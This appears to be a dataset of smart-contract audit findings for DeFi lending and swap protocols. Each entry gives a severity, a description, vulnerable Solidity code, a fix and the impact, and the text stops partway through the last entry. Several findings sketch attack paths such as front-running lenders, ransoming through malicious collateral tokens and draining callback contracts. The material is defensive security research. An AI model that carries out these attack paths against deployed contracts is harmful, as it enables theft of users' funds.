`getPositionRisk()` will return a wrong value of risk | medium | In order to interact with SPELL the users need to `lend()` some collateral which is known as Isolated Collateral and the SoftVault will deposit them into Compound protocol to generate some lending interest (to earn passive yield)\\nto liquidate a position this function `isLiquidatable()` should return `true`\\n```\\n function isLiquidatable(uint256 positionId) public view returns (bool) {\\n return\\n getPositionRisk(positionId) >=\\n banks[positions[positionId].underlyingToken].liqThreshold;\\n }\\n```\\n\\nand it is subcall to `getPositionRisk()`\\n```\\n function getPositionRisk(\\n uint256 positionId\\n ) public view returns (uint256 risk) {\\n uint256 pv = getPositionValue(positionId); \\n uint256 ov = getDebtValue(positionId); \\n uint256 cv = getIsolatedCollateralValue(positionId);\\n\\n if (\\n (cv == 0 && pv == 0 && ov == 0) || pv >= ov // Closed position or Overcollateralized position\\n ) {\\n risk = 0;\\n } else if (cv == 0) {\\n // Sth bad happened to isolated underlying token\\n risk = Constants.DENOMINATOR;\\n } else {\\n risk = ((ov - pv) * Constants.DENOMINATOR) / cv;\\n }\\n }\\n```\\n\\nas we can see the `cv` is a critical value in terms of the calculation of `risk` the `cv` is returned by `getIsolatedCollateralValue()`\\n```\\n function getIsolatedCollateralValue(\\n uint256 positionId\\n ) public view override returns (uint256 icollValue) {\\n Position memory pos = positions[positionId];\\n // NOTE: exchangeRateStored has 18 decimals.\\n uint256 underlyingAmount;\\n if (_isSoftVault(pos.underlyingToken)) {\\n underlyingAmount = \\n (ICErc20(banks[pos.debtToken].bToken).exchangeRateStored() * \\n pos.underlyingVaultShare) /\\n Constants.PRICE_PRECISION; \\n } else {\\n underlyingAmount = pos.underlyingVaultShare;\\n }\\n icollValue = oracle.getTokenValue(\\n pos.underlyingToken,\\n underlyingAmount\\n );\\n }\\n```\\n\\nand it uses `exchangeRateStored()` to ask Compound (CToken.sol) for the exchange rate from `CToken` contract\\n```\\nThis function does not accrue interest before calculating the exchange rate\\n```\\n\\nso the `getPositionRisk()` will return a wrong value of risk because the interest does not accrue for this position | You shoud use `exchangeRateCurrent()` to Accrue interest first. | the user (position) could get liquidated even if his position is still healthy | ```\\n function isLiquidatable(uint256 positionId) public view returns (bool) {\\n return\\n getPositionRisk(positionId) >=\\n banks[positions[positionId].underlyingToken].liqThreshold;\\n }\\n```\\n |
BlueBerryBank#getPositionValue causes DOS if reward token is added that doens't have an oracle | medium | collToken.pendingRewards pulls the most recent reward list from Aura/Convex. In the event that reward tokens are added to pools that don't currently have an oracle then it will DOS every action (repaying, liquidating, etc.). While this is only temporary it prevents liquidation which is a key process that should have 100% uptime otherwise the protocol could easily be left with bad debt.\\nBlueBerryBank.sol#L408-L413\\n```\\n (address[] memory tokens, uint256[] memory rewards) = IERC20Wrapper(\\n pos.collToken\\n ).pendingRewards(pos.collId, pos.collateralSize);\\n for (uint256 i; i < tokens.length; i++) {\\n rewardsValue += oracle.getTokenValue(tokens[i], rewards[i]);\\n }\\n```\\n\\nUsing the pendingRewards method pulls a fresh list of all tokens. When a token is added as a reward but can't be priced then the call to getTokenValue will revert. Since getPostionValue is used in liquidations, it temporarily breaks liquidations which in a volatile market can cause bad debt to accumulate. | Return zero valuation if extra reward token can't be priced. | Temporary DOS to liquidations which can result in bad debt | ```\\n (address[] memory tokens, uint256[] memory rewards) = IERC20Wrapper(\\n pos.collToken\\n ).pendingRewards(pos.collId, pos.collateralSize);\\n for (uint256 i; i < tokens.length; i++) {\\n rewardsValue += oracle.getTokenValue(tokens[i], rewards[i]);\\n }\\n```\\n |
asking for the wrong address for `balanceOf()` | medium | ShortLongSpell.openPosition() pass to `_doPutCollateral()` wrong value of `balanceOf()`\\n```\\n // 5. Put collateral - strategy token\\n address vault = strategies[param.strategyId].vault;\\n _doPutCollateral(\\n vault,\\n IERC20Upgradeable(ISoftVault(vault).uToken()).balanceOf(\\n address(this)\\n )\\n );\\n```\\n\\nthe balance should be of `address(vault)` | ```\\n // 5. Put collateral // Remove the line below\\n strategy token\\n address vault = strategies[param.strategyId].vault;\\n _doPutCollateral(\\n vault,\\n// Remove the line below\\n IERC20Upgradeable(ISoftVault(vault).uToken()).balanceOf(\\n// Remove the line below\\n address(this)\\n// Add the line below\\n IERC20Upgradeable(vault).balanceOf(address(this))\\n )\\n );\\n```\\n | `openPosition()` will never work | ```\\n // 5. Put collateral - strategy token\\n address vault = strategies[param.strategyId].vault;\\n _doPutCollateral(\\n vault,\\n IERC20Upgradeable(ISoftVault(vault).uToken()).balanceOf(\\n address(this)\\n )\\n );\\n```\\n |
AuraSpell#closePositionFarm requires users to swap all reward tokens through same router | medium | AuraSpell#closePositionFarm requires users to swap all reward tokens through same router. This is problematic as it is very unlikely that a UniswapV2 router will have good liquidity sources for all tokens and will result in users experiencing forced losses to their reward token.\\nAuraSpell.sol#L193-L203\\n```\\n for (uint256 i = 0; i < rewardTokens.length; i++) {\\n uint256 rewards = _doCutRewardsFee(rewardTokens[i]);\\n _ensureApprove(rewardTokens[i], address(swapRouter), rewards);\\n swapRouter.swapExactTokensForTokens(\\n rewards,\\n 0,\\n swapPath[i],\\n address(this),\\n type(uint256).max\\n );\\n }\\n```\\n\\nAll tokens are forcibly swapped through a single router. | Issue AuraSpell#closePositionFarm requires users to swap all reward tokens through same router\\nAllow users to use an aggregator like paraswap or multiple routers instead of only one single UniswapV2 router. | Users will be forced to swap through a router even if it doesn't have good liquidity for all tokens | ```\\n for (uint256 i = 0; i < rewardTokens.length; i++) {\\n uint256 rewards = _doCutRewardsFee(rewardTokens[i]);\\n _ensureApprove(rewardTokens[i], address(swapRouter), rewards);\\n swapRouter.swapExactTokensForTokens(\\n rewards,\\n 0,\\n swapPath[i],\\n address(this),\\n type(uint256).max\\n );\\n }\\n```\\n |
rewardTokens removed from WAuraPool/WConvexPools will be lost forever | medium | pendingRewards pulls a fresh count of reward tokens each time it is called. This is problematic if reward tokens are ever removed from the the underlying Aura/Convex pools because it means that they will no longer be distributed and will be locked in the contract forever.\\nWAuraPools.sol#L166-L189\\n```\\n uint extraRewardsCount = IAuraRewarder(crvRewarder)\\n .extraRewardsLength();\\n tokens = new address[](extraRewardsCount + 1);\\n rewards = new uint256[](extraRewardsCount + 1);\\n\\n tokens[0] = IAuraRewarder(crvRewarder).rewardToken();\\n rewards[0] = _getPendingReward(\\n stCrvPerShare,\\n crvRewarder,\\n amount,\\n lpDecimals\\n );\\n\\n for (uint i = 0; i < extraRewardsCount; i++) {\\n address rewarder = IAuraRewarder(crvRewarder).extraRewards(i);\\n uint256 stRewardPerShare = accExtPerShare[tokenId][i];\\n tokens[i + 1] = IAuraRewarder(rewarder).rewardToken();\\n rewards[i + 1] = _getPendingReward(\\n stRewardPerShare,\\n rewarder,\\n amount,\\n lpDecimals\\n );\\n }\\n```\\n\\nIn the lines above we can see that only tokens that are currently available on the pool. This means that if tokens are removed then they are no longer claimable and will be lost to those entitled to shares. | Reward tokens should be stored with the tokenID so that it can still be paid out even if it the extra rewardToken is removed. | Users will lose reward tokens if they are removed | ```\\n uint extraRewardsCount = IAuraRewarder(crvRewarder)\\n .extraRewardsLength();\\n tokens = new address[](extraRewardsCount + 1);\\n rewards = new uint256[](extraRewardsCount + 1);\\n\\n tokens[0] = IAuraRewarder(crvRewarder).rewardToken();\\n rewards[0] = _getPendingReward(\\n stCrvPerShare,\\n crvRewarder,\\n amount,\\n lpDecimals\\n );\\n\\n for (uint i = 0; i < extraRewardsCount; i++) {\\n address rewarder = IAuraRewarder(crvRewarder).extraRewards(i);\\n uint256 stRewardPerShare = accExtPerShare[tokenId][i];\\n tokens[i + 1] = IAuraRewarder(rewarder).rewardToken();\\n rewards[i + 1] = _getPendingReward(\\n stRewardPerShare,\\n rewarder,\\n amount,\\n lpDecimals\\n );\\n }\\n```\\n |
SwapperCallbackValidation doesn't do anything, opens up users to having contracts drained | medium | The `SwapperCallbackValidation` library that is intended to be used by contracts performing swaps does not provide any protection. As a result, all functions intended to be used only in a callback setting can be called any time by any user. In the provided example of how they expect this library to be used, this would result in the opportunity for all funds to be stolen.\\nThe `SwapperCallbackValidation` library is intended to be used by developers to verify that their contracts are only called in a valid, swapper callback scenario. It contains the following function to be implemented:\\n```\\nfunction verifyCallback(SwapperFactory factory_, SwapperImpl swapper_) internal view returns (bool valid) {\\n return factory_.isSwapper(swapper_);\\n}\\n```\\n\\nThis function simply pings the `SwapperFactory` and confirms that the function call is coming from a verified swapper. If it is, we assume that it is from a legitimate callback.\\nFor an example of how this is used, see the (out of scope) UniV3Swap contract, which serves as a model for developers to build contracts to support Swappers.\\n```\\nSwapperImpl swapper = SwapperImpl(msg.sender);\\nif (!swapperFactory.verifyCallback(swapper)) {\\n revert Unauthorized();\\n}\\n```\\n\\nThe contract goes on to perform swaps (which can be skipped by passing empty exactInputParams), and then sends all its ETH (or ERC20s) to `msg.sender`. Clearly, this validation is very important to protect such a contract from losing funds.\\nHowever, if we look deeper, we can see that this validation is not nearly sufficient.\\nIn fact, `SwapperImpl` inherits from `WalletImpl`, which contains the following function:\\n```\\nfunction execCalls(Call[] calldata calls_)\\n external\\n payable\\n onlyOwner\\n returns (uint256 blockNumber, bytes[] memory returnData)\\n{\\n blockNumber = block.number;\\n uint256 length = calls_.length;\\n returnData = new bytes[](length);\\n\\n bool success;\\n for (uint256 i; i < length;) {\\n Call calldata calli = calls_[i];\\n (success, returnData[i]) = calli.to.call{value: calli.value}(calli.data);\\n require(success, string(returnData[i]));\\n\\n unchecked {\\n ++i;\\n }\\n }\\n\\n emit ExecCalls(calls_);\\n}\\n```\\n\\nThis function allows the owner of the Swapper to perform arbitrary calls on its behalf.\\nSince the verification only checks that the caller is, in fact, a Swapper, it is possible for any user to create a Swapper and pass arbitrary calldata into this `execCalls()` function, performing any transaction they would like and passing the `verifyCallback()` check.\\nIn the generic case, this makes the `verifyCallback()` function useless, as any calldata that could be called without that function could similarly be called by deploying a Swapper and sending identical calldata through that Swapper.\\nIn the specific case based on the example provided, this would allow a user to deploy a Swapper, call the `swapperFlashCallback()` function directly (not as a callback), and steal all the funds held by the contract. | Issue SwapperCallbackValidation doesn't do anything, opens up users to having contracts drained\\nI do not believe that Swappers require the ability to execute arbitrary calls, so should not inherit from WalletImpl.\\nAlternatively, the verification checks performed by contracts accepting callbacks should be more substantial — specifically, they should store the Swapper they are interacting with's address for the duration of the transaction, and only allow callbacks from that specific address. | All funds can be stolen from any contracts using the `SwapperCallbackValidation` library, because the `verifyCallback()` function provides no protection. | ```\\nfunction verifyCallback(SwapperFactory factory_, SwapperImpl swapper_) internal view returns (bool valid) {\\n return factory_.isSwapper(swapper_);\\n}\\n```\\n |
Swapper mechanism cannot incentivize ETH-WETH swaps without risking owner funds | medium | When `flash()` is called on the Swapper contract, pairs of tokens are passed in consisting of (a) a base token, which is currently held by the contract and (b) a quote token, which is the `$tokenToBeneficiary` that the owner would like to receive.\\nThese pairs are passed to the oracle to get the quoted value of each of them:\\n```\\namountsToBeneficiary = $oracle.getQuoteAmounts(quoteParams_);\\n```\\n\\nThe `UniV3OracleImpl.sol` contract returns a quote per pair of tokens. However, since Uniswap pools only consist of WETH (not ETH) and are ordered by token address, it performs two conversions first: `_convert()` converts ETH to WETH for both base and quote tokens, and `_sort()` orders the pairs by token address.\\n```\\nConvertedQuotePair memory cqp = quoteParams_.quotePair._convert(_convertToken);\\nSortedConvertedQuotePair memory scqp = cqp._sort();\\n```\\n\\nThe oracle goes on to check for pair overrides, and gets the `scaledOfferFactor` for the pair being quoted:\\n```\\nPairOverride memory po = _getPairOverride(scqp);\\nif (po.scaledOfferFactor == 0) {\\n po.scaledOfferFactor = $defaultScaledOfferFactor;\\n}\\n```\\n\\nThe `scaledOfferFactor` is the discount being offered through the Swapper to perform the swap. The assumption is that this will be set to a moderate amount (approximately 5%) to incentivize bots to perform the swaps, but will be overridden with a value of ~0% for the same tokens, to ensure that bots aren't paid for swaps they don't need to perform.\\nThe problem is that these overrides are set on the `scqp` (sorted, converted tokens), not the actual token addresses. For this reason, ETH and WETH are considered identical in terms of overrides.\\nTherefore, Swapper owners who want to be paid out in ETH (ie where $tokenToBeneficiary = ETH) have two options:\\nThey can set the WETH-WETH override to 0%, which successfully stops bots from earning a fee on ETH-ETH trades, but will not provide any incentive for bots to swap WETH in the swapper into ETH. This makes the Swapper useless for WETH.\\nThey can keep the WETH-WETH pair at the original ~5%, which will incentivize WETH-ETH swaps, but will also pay 5% to bots for doing nothing when they take ETH out of the contract and return ETH. This makes the Swapper waste user funds.\\nThe same issues exist going in the other direction, when `$tokenToBeneficiary = WETH`. | The `scaledOfferFactor` (along with its overrides) should be stored on the Swapper, not on the Oracle.\\nIn order to keep the system modular and logically organized, the Oracle should always return the accurate price for the `scqp`. Then, it is the job of the Swapper to determine what discount is offered for which asset.\\nThis will allow values to be stored in the actual `base` and `quote` assets being used, and not in their converted, sorted counterparts. | Users who want to be paid out in ETH or WETH will be forced to either (a) have the Swapper not function properly for a key pair or (b) pay bots to perform useless actions. | ```\\namountsToBeneficiary = $oracle.getQuoteAmounts(quoteParams_);\\n```\\n |
CollateralManager#commitCollateral can be called on an active loan | high | CollateralManager#commitCollateral never checks if the loan has been accepted allowing users to add collaterals after which can DOS the loan.\\nCollateralManager.sol#L117-L130\\n```\\nfunction commitCollateral(\\n uint256 _bidId,\\n Collateral[] calldata _collateralInfo\\n) public returns (bool validation_) {\\n address borrower = tellerV2.getLoanBorrower(_bidId);\\n (validation_, ) = checkBalances(borrower, _collateralInfo); <- @audit-issue never checks that loan isn't active\\n\\n if (validation_) {\\n for (uint256 i; i < _collateralInfo.length; i++) {\\n Collateral memory info = _collateralInfo[i];\\n _commitCollateral(_bidId, info);\\n }\\n }\\n}\\n```\\n\\nCollateralManager#commitCollateral does not contain any check that the bidId is pending or at least that it isn't accepted. This means that collateral can be committed to an already accepted bid, modifying bidCollaterals.\\n```\\nfunction _withdraw(uint256 _bidId, address _receiver) internal virtual {\\n for (\\n uint256 i;\\n i < _bidCollaterals[_bidId].collateralAddresses.length();\\n i++\\n ) {\\n // Get collateral info\\n Collateral storage collateralInfo = _bidCollaterals[_bidId]\\n .collateralInfo[\\n _bidCollaterals[_bidId].collateralAddresses.at(i)\\n ];\\n // Withdraw collateral from escrow and send it to bid lender\\n ICollateralEscrowV1(_escrows[_bidId]).withdraw(\\n collateralInfo._collateralAddress,\\n collateralInfo._amount,\\n _receiver\\n );\\n```\\n\\nbidCollaterals is used to trigger the withdrawal from the escrow to the receiver, which closing the loan and liquidations. This can be used to DOS a loan AFTER it has already been filled.\\nUser A creates a bid for 10 ETH against 50,000 USDC at 10% APR\\nUser B sees this bid and decides to fill it\\nAfter the loan is accepted, User A calls CollateralManager#commitCollateral with a malicious token they create\\nUser A doesn't pay their loan and it becomes liquidatable\\nUser B calls liquidate but it reverts when the escrow attempts to transfer out the malicious token\\nUser A demands a ransom to return the funds\\nUser A enables the malicious token transfer once the ransom is paid | CollateralManager#commitCollateral should revert if loan is active. | Loans can be permanently DOS'd even after being accepted | ```\\nfunction commitCollateral(\\n uint256 _bidId,\\n Collateral[] calldata _collateralInfo\\n) public returns (bool validation_) {\\n address borrower = tellerV2.getLoanBorrower(_bidId);\\n (validation_, ) = checkBalances(borrower, _collateralInfo); <- @audit-issue never checks that loan isn't active\\n\\n if (validation_) {\\n for (uint256 i; i < _collateralInfo.length; i++) {\\n Collateral memory info = _collateralInfo[i];\\n _commitCollateral(_bidId, info);\\n }\\n }\\n}\\n```\\n |
CollateralManager#commitCollateral can be called by anyone | high | CollateralManager#commitCollateral has no access control allowing users to freely add malicious tokens to any bid\\nCollateralManager.sol#L117-L130\\n```\\nfunction commitCollateral(\\n uint256 _bidId,\\n Collateral[] calldata _collateralInfo\\n) public returns (bool validation_) {\\n address borrower = tellerV2.getLoanBorrower(_bidId);\\n (validation_, ) = checkBalances(borrower, _collateralInfo); <- @audit-issue no access control\\n\\n if (validation_) {\\n for (uint256 i; i < _collateralInfo.length; i++) {\\n Collateral memory info = _collateralInfo[i];\\n _commitCollateral(_bidId, info);\\n }\\n }\\n}\\n```\\n\\nCollateralManager#commitCollateral has no access control and can be called by anyone on any bidID. This allows an attacker to front-run lenders and add malicious tokens to a loan right before it is filled.\\nA malicious user creates a malicious token that can be transferred once before being paused and returns uint256.max for balanceOf\\nUser A creates a loan for 10e18 ETH against 50,000e6 USDC at 10% APR\\nUser B decides to fill this loan and calls TellerV2#lenderAcceptBid\\nThe malicious user sees this and front-runs with a CollateralManager#commitCollateral call adding the malicious token\\nMalicious token is now paused breaking both liquidations and fully paying off the loan\\nMalicious user leverages this to ransom the locked tokens, unpausing when it is paid | Cause CollateralManager#commitCollateral to revert if called by anyone other than the borrower, their approved forwarder or TellerV2 | User can add malicious collateral calls to any bid they wish | ```\\nfunction commitCollateral(\\n uint256 _bidId,\\n Collateral[] calldata _collateralInfo\\n) public returns (bool validation_) {\\n address borrower = tellerV2.getLoanBorrower(_bidId);\\n (validation_, ) = checkBalances(borrower, _collateralInfo); <- @audit-issue no access control\\n\\n if (validation_) {\\n for (uint256 i; i < _collateralInfo.length; i++) {\\n Collateral memory info = _collateralInfo[i];\\n _commitCollateral(_bidId, info);\\n }\\n }\\n}\\n```\\n |
CollateralManager#commitCollateral overwrites collateralInfo._amount if called with an existing collateral | high | When duplicate collateral is committed, the collateral amount is overwritten with the new value. This allows borrowers to front-run bid acceptance to change their collateral and steal from lenders.\\nCollateralManager.sol#L426-L442\\n```\\nfunction _commitCollateral(\\n uint256 _bidId,\\n Collateral memory _collateralInfo\\n) internal virtual {\\n CollateralInfo storage collateral = _bidCollaterals[_bidId];\\n collateral.collateralAddresses.add(_collateralInfo._collateralAddress);\\n collateral.collateralInfo[\\n _collateralInfo._collateralAddress\\n ] = _collateralInfo; <- @audit-issue collateral info overwritten\\n emit CollateralCommitted(\\n _bidId,\\n _collateralInfo._collateralType,\\n _collateralInfo._collateralAddress,\\n _collateralInfo._amount,\\n _collateralInfo._tokenId\\n );\\n}\\n```\\n\\nWhen a duplicate collateral is committed it overwrites the collateralInfo for that token, which is used to determine how much collateral to escrow from the borrower.\\nTellerV2.sol#L470-L484\\n```\\nfunction lenderAcceptBid(uint256 _bidId)\\n external\\n override\\n pendingBid(_bidId, "lenderAcceptBid")\\n whenNotPaused\\n returns (\\n uint256 amountToProtocol,\\n uint256 amountToMarketplace,\\n uint256 amountToBorrower\\n )\\n{\\n // Retrieve bid\\n Bid storage bid = bids[_bidId];\\n\\n address sender = _msgSenderForMarket(bid.marketplaceId);\\n```\\n\\nTellerV2#lenderAcceptBid only allows the lender input the bidId of the bid they wish to accept, not allowing them to specify the expected collateral. This allows lenders to be honeypot and front-run causing massive loss of funds:\\nMalicious user creates and commits a bid to take a loan of 10e18 ETH against 100,000e6 USDC with 15% APR\\nLender sees this and calls TellerV2#lenderAcceptBid\\nMalicious user front-runs transaction with commitCollateral call setting USDC to 1\\nBid is filled sending malicious user 10e18 ETH and escrowing 1 USDC\\nAttacker doesn't repay loan and has stolen 10e18 ETH for the price of 1 USDC | Allow lender to specify collateral info and check that it matches the committed addresses and amounts | Bid acceptance can be front-run to cause massive losses to lenders | ```\\nfunction _commitCollateral(\\n uint256 _bidId,\\n Collateral memory _collateralInfo\\n) internal virtual {\\n CollateralInfo storage collateral = _bidCollaterals[_bidId];\\n collateral.collateralAddresses.add(_collateralInfo._collateralAddress);\\n collateral.collateralInfo[\\n _collateralInfo._collateralAddress\\n ] = _collateralInfo; <- @audit-issue collateral info overwritten\\n emit CollateralCommitted(\\n _bidId,\\n _collateralInfo._collateralType,\\n _collateralInfo._collateralAddress,\\n _collateralInfo._amount,\\n _collateralInfo._tokenId\\n );\\n}\\n```\\n |
_repayLoan will fail if lender is blacklisted | high | The internal function that repays a loan `_repayLoan` attempts to transfer the loan token back to the lender. If the loan token implements a blacklist like the common USDC token, the transfer may be impossible and the repayment will fail.\\nThis internal `_repayLoan` function is called during any partial / full repayment and during liquidation.\\nThe function to repay the loan to the lender directly transfers the token to the lender:\\n```\\n function _repayLoan(// rest of code) internal virtual {\\n // rest of code\\n bid.loanDetails.lendingToken.safeTransferFrom(\\n _msgSenderForMarket(bid.marketplaceId),\\n lender,\\n paymentAmount\\n );\\n // rest of code\\n```\\n\\nAny of these functions will fail if loan lender is blacklisted by the token.\\nDuring repayment the loan lender is computed by:\\n```\\n function getLoanLender(uint256 _bidId)\\n public\\n view\\n returns (address lender_)\\n {\\n lender_ = bids[_bidId].lender;\\n\\n if (lender_ == address(lenderManager)) {\\n return lenderManager.ownerOf(_bidId);\\n }\\n }\\n```\\n\\nIf the lender controls a blacklisted address, they can use the lenderManager to selectively transfer the loan to / from the blacklisted whenever they want. | Use a push/pull pattern for transferring tokens. Allow repayment of loan and withdraw the tokens of the user into `TellerV2` (or an escrow) and allow lender to withdraw the repayment from `TellerV2` (or the escrow). This way, the repayment will fail only if `TellerV2` is blacklisted. | Any lender can prevent repayment of a loan and its liquidation. In particular, a lender can wait until a loan is almost completely repaid, transfer the loan to a blacklisted address (even one they do not control) to prevent the loan to be fully repaid / liquidated. The loan will default and borrower will not be able to withdraw their collateral.\\nThis result in a guaranteed griefing attack on the collateral of a user.\\nIf the lender controls a blacklisted address, they can additionally withdraw the collateral of the user.\\nI believe the impact is high since the griefing attack is always possible whenever lent token uses a blacklist, and results in a guaranteed loss of collateral. | ```\\n function _repayLoan(// rest of code) internal virtual {\\n // rest of code\\n bid.loanDetails.lendingToken.safeTransferFrom(\\n _msgSenderForMarket(bid.marketplaceId),\\n lender,\\n paymentAmount\\n );\\n // rest of code\\n```\\n |
Malicious user can abuse UpdateCommitment to create commitments for other users | high | UpdateCommitment checks that the original lender is msg.sender but never validates that the original lender == new lender. This allows malicious users to effectively create a commitment for another user, allowing them to drain funds from them.\\nLenderCommitmentForwarder.sol#L208-L224\\n```\\nfunction updateCommitment(\\n uint256 _commitmentId,\\n Commitment calldata _commitment\\n) public commitmentLender(_commitmentId) { <- @audit-info checks that lender is msg.sender\\n require(\\n _commitment.principalTokenAddress ==\\n commitments[_commitmentId].principalTokenAddress,\\n "Principal token address cannot be updated."\\n );\\n require(\\n _commitment.marketId == commitments[_commitmentId].marketId,\\n "Market Id cannot be updated."\\n );\\n\\n commitments[_commitmentId] = _commitment; <- @audit-issue never checks _commitment.lender\\n\\n validateCommitment(commitments[_commitmentId]);\\n```\\n\\nUpdateCommitment is intended to allow users to update their commitment but due to lack of verification of _commitment.lender, a malicious user create a commitment then update it to a new lender. By using bad loan parameters they can steal funds from the attacker user. | Check that the update lender is the same the original lender | UpdateCommitment can be used to create a malicious commitment for another user and steal their funds | ```\\nfunction updateCommitment(\\n uint256 _commitmentId,\\n Commitment calldata _commitment\\n) public commitmentLender(_commitmentId) { <- @audit-info checks that lender is msg.sender\\n require(\\n _commitment.principalTokenAddress ==\\n commitments[_commitmentId].principalTokenAddress,\\n "Principal token address cannot be updated."\\n );\\n require(\\n _commitment.marketId == commitments[_commitmentId].marketId,\\n "Market Id cannot be updated."\\n );\\n\\n commitments[_commitmentId] = _commitment; <- @audit-issue never checks _commitment.lender\\n\\n validateCommitment(commitments[_commitmentId]);\\n```\\n |
lender could be forced to withdraw collateral even if he/she would rather wait for liquidation during default | medium | lender could be forced to withdraw collateral even if he/she would rather wait for liquidation during default\\nCollateralManager.withdraw would pass if the loan is defaulted (the borrower does not pay interest in time); in that case, anyone can trigger an withdrawal on behalf of the lender before the liquidation delay period passes.\\nwithdraw logic from CollateralManager.\\n```\\n * @notice Withdraws deposited collateral from the created escrow of a bid that has been successfully repaid.\\n * @param _bidId The id of the bid to withdraw collateral for.\\n */\\n function withdraw(uint256 _bidId) external {\\n BidState bidState = tellerV2.getBidState(_bidId);\\n console2.log("WITHDRAW %d", uint256(bidState));\\n if (bidState == BidState.PAID) {\\n _withdraw(_bidId, tellerV2.getLoanBorrower(_bidId));\\n } else if (tellerV2.isLoanDefaulted(_bidId)) { audit\\n _withdraw(_bidId, tellerV2.getLoanLender(_bidId));\\n emit CollateralClaimed(_bidId);\\n } else {\\n revert("collateral cannot be withdrawn");\\n }\\n }\\n```\\n | check that the caller is the lender\\n```\\n function withdraw(uint256 _bidId) external {\\n BidState bidState = tellerV2.getBidState(_bidId);\\n console2.log("WITHDRAW %d", uint256(bidState));\\n if (bidState == BidState.PAID) {\\n _withdraw(_bidId, tellerV2.getLoanBorrower(_bidId));\\n } else if (tellerV2.isLoanDefaulted(_bidId)) {\\n+++ uint256 _marketplaceId = bidState.marketplaceId; \\n+++ address sender = _msgSenderForMarket(_marketplaceId); \\n+++ address lender = tellerV2.getLoanLender(_bidId); \\n+++ require(sender == lender, "sender must be the lender"); \\n _withdraw(_bidId, lender);\\n emit CollateralClaimed(_bidId);\\n } else {\\n revert("collateral cannot be withdrawn");\\n }\\n }\\n```\\n | anyone can force lender to take up collateral during liquidation delay and liquidation could be something that never happen. This does not match the intention based on the spec which implies that lender has an option: `3) When the loan is fully repaid, the borrower can withdraw the collateral. If the loan becomes defaulted instead, then the lender has a 24 hour grace period to claim the collateral (losing the principal)` | ```\\n * @notice Withdraws deposited collateral from the created escrow of a bid that has been successfully repaid.\\n * @param _bidId The id of the bid to withdraw collateral for.\\n */\\n function withdraw(uint256 _bidId) external {\\n BidState bidState = tellerV2.getBidState(_bidId);\\n console2.log("WITHDRAW %d", uint256(bidState));\\n if (bidState == BidState.PAID) {\\n _withdraw(_bidId, tellerV2.getLoanBorrower(_bidId));\\n } else if (tellerV2.isLoanDefaulted(_bidId)) { audit\\n _withdraw(_bidId, tellerV2.getLoanLender(_bidId));\\n emit CollateralClaimed(_bidId);\\n } else {\\n revert("collateral cannot be withdrawn");\\n }\\n }\\n```\\n |
The calculation time methods of `calculateNextDueDate` and `_canLiquidateLoan` are inconsistent | medium | The calculation time methods of `calculateNextDueDate` and `_canLiquidateLoan` are inconsistent\\n```\\nFile: TellerV2.sol\\n 854 function calculateNextDueDate(uint256 _bidId)\\n 855 public\\n 856 view\\n 857 returns (uint32 dueDate_)\\n 858 {\\n 859 Bid storage bid = bids[_bidId];\\n 860 if (bids[_bidId].state != BidState.ACCEPTED) return dueDate_;\\n 861\\n 862 uint32 lastRepaidTimestamp = lastRepaidTimestamp(_bidId);\\n 863\\n 864 // Calculate due date if payment cycle is set to monthly\\n 865 if (bidPaymentCycleType[_bidId] == PaymentCycleType.Monthly) {\\n 866 // Calculate the cycle number the last repayment was made\\n 867 uint256 lastPaymentCycle = BPBDTL.diffMonths(\\n 868 bid.loanDetails.acceptedTimestamp,\\n 869 \\n```\\n\\nThe `calculateNextDueDate` function is used by the borrower to query the date of the next repayment. Generally speaking, the borrower will think that as long as the repayment is completed at this point in time, the collateral will not be liquidated.\\n```\\nFile: TellerV2.sol\\n 953 function _canLiquidateLoan(uint256 _bidId, uint32 _liquidationDelay)\\n 954 internal\\n 955 view\\n 956 returns (bool)\\n 957 {\\n 958 Bid storage bid = bids[_bidId];\\n 959\\n 960 // Make sure loan cannot be liquidated if it is not active\\n 961 if (bid.state != BidState.ACCEPTED) return false;\\n 962\\n 963 if (bidDefaultDuration[_bidId] == 0) return false;\\n 964\\n 965 return (uint32(block.timestamp) -\\n 966 _liquidationDelay -\\n 967 lastRepaidTimestamp(_bidId) >\\n 968 bidDefaultDuration[_bidId]);\\n 969 }\\n```\\n\\nHowever, when the `_canLiquidateLoan` function actually judges whether it can be liquidated, the time calculation mechanism is completely different from that of `calculateNextDueDate` function, which may cause that if the time point calculated by `_canLiquidateLoan` is earlier than the time point of `calculateNextDueDate` function, the borrower may also be liquidated in the case of legal repayment.\\nBorrowers cannot query the specific liquidation time point, but can only query whether they can be liquidated through the `isLoanDefaulted` function or `isLoanLiquidateable` function. When they query that they can be liquidated, they may have already been liquidated. | It is recommended to verify that the liquidation time point cannot be shorter than the repayment period and allow users to query the exact liquidation time point. | Borrowers may be liquidated if repayments are made on time. | ```\\nFile: TellerV2.sol\\n 854 function calculateNextDueDate(uint256 _bidId)\\n 855 public\\n 856 view\\n 857 returns (uint32 dueDate_)\\n 858 {\\n 859 Bid storage bid = bids[_bidId];\\n 860 if (bids[_bidId].state != BidState.ACCEPTED) return dueDate_;\\n 861\\n 862 uint32 lastRepaidTimestamp = lastRepaidTimestamp(_bidId);\\n 863\\n 864 // Calculate due date if payment cycle is set to monthly\\n 865 if (bidPaymentCycleType[_bidId] == PaymentCycleType.Monthly) {\\n 866 // Calculate the cycle number the last repayment was made\\n 867 uint256 lastPaymentCycle = BPBDTL.diffMonths(\\n 868 bid.loanDetails.acceptedTimestamp,\\n 869 \\n```\\n |
updateCommitmentBorrowers does not delete all existing users | medium | The lender can update the list of borrowers by calling `LenderCommitmentForwarder.updateCommitmentBorrowers`. The list of borrowers is EnumerableSetUpgradeable.AddressSet that is a complex structure containing mapping. Using the `delete` keyword to `delete` this structure will not erase the mapping inside it. Let's look at the code of this function.\\n```\\nmapping(uint256 => EnumerableSetUpgradeable.AddressSet)\\n internal commitmentBorrowersList;\\n \\nfunction updateCommitmentBorrowers(\\n uint256 _commitmentId,\\n address[] calldata _borrowerAddressList\\n ) public commitmentLender(_commitmentId) {\\n delete commitmentBorrowersList[_commitmentId];\\n _addBorrowersToCommitmentAllowlist(_commitmentId, _borrowerAddressList);\\n }\\n```\\n\\nI wrote a similar function to prove the problem.\\n```\\nusing EnumerableSet for EnumerableSet.AddressSet;\\n mapping(uint256 => EnumerableSet.AddressSet) internal users;\\n \\n function test_deleteEnumerableSet() public {\\n uint256 id = 1;\\n address[] memory newUsers = new address[](2);\\n newUsers[0] = address(0x1);\\n newUsers[1] = address(0x2);\\n\\n for (uint256 i = 0; i < newUsers.length; i++) {\\n users[id].add(newUsers[i]);\\n }\\n delete users[id];\\n newUsers[0] = address(0x3);\\n newUsers[1] = 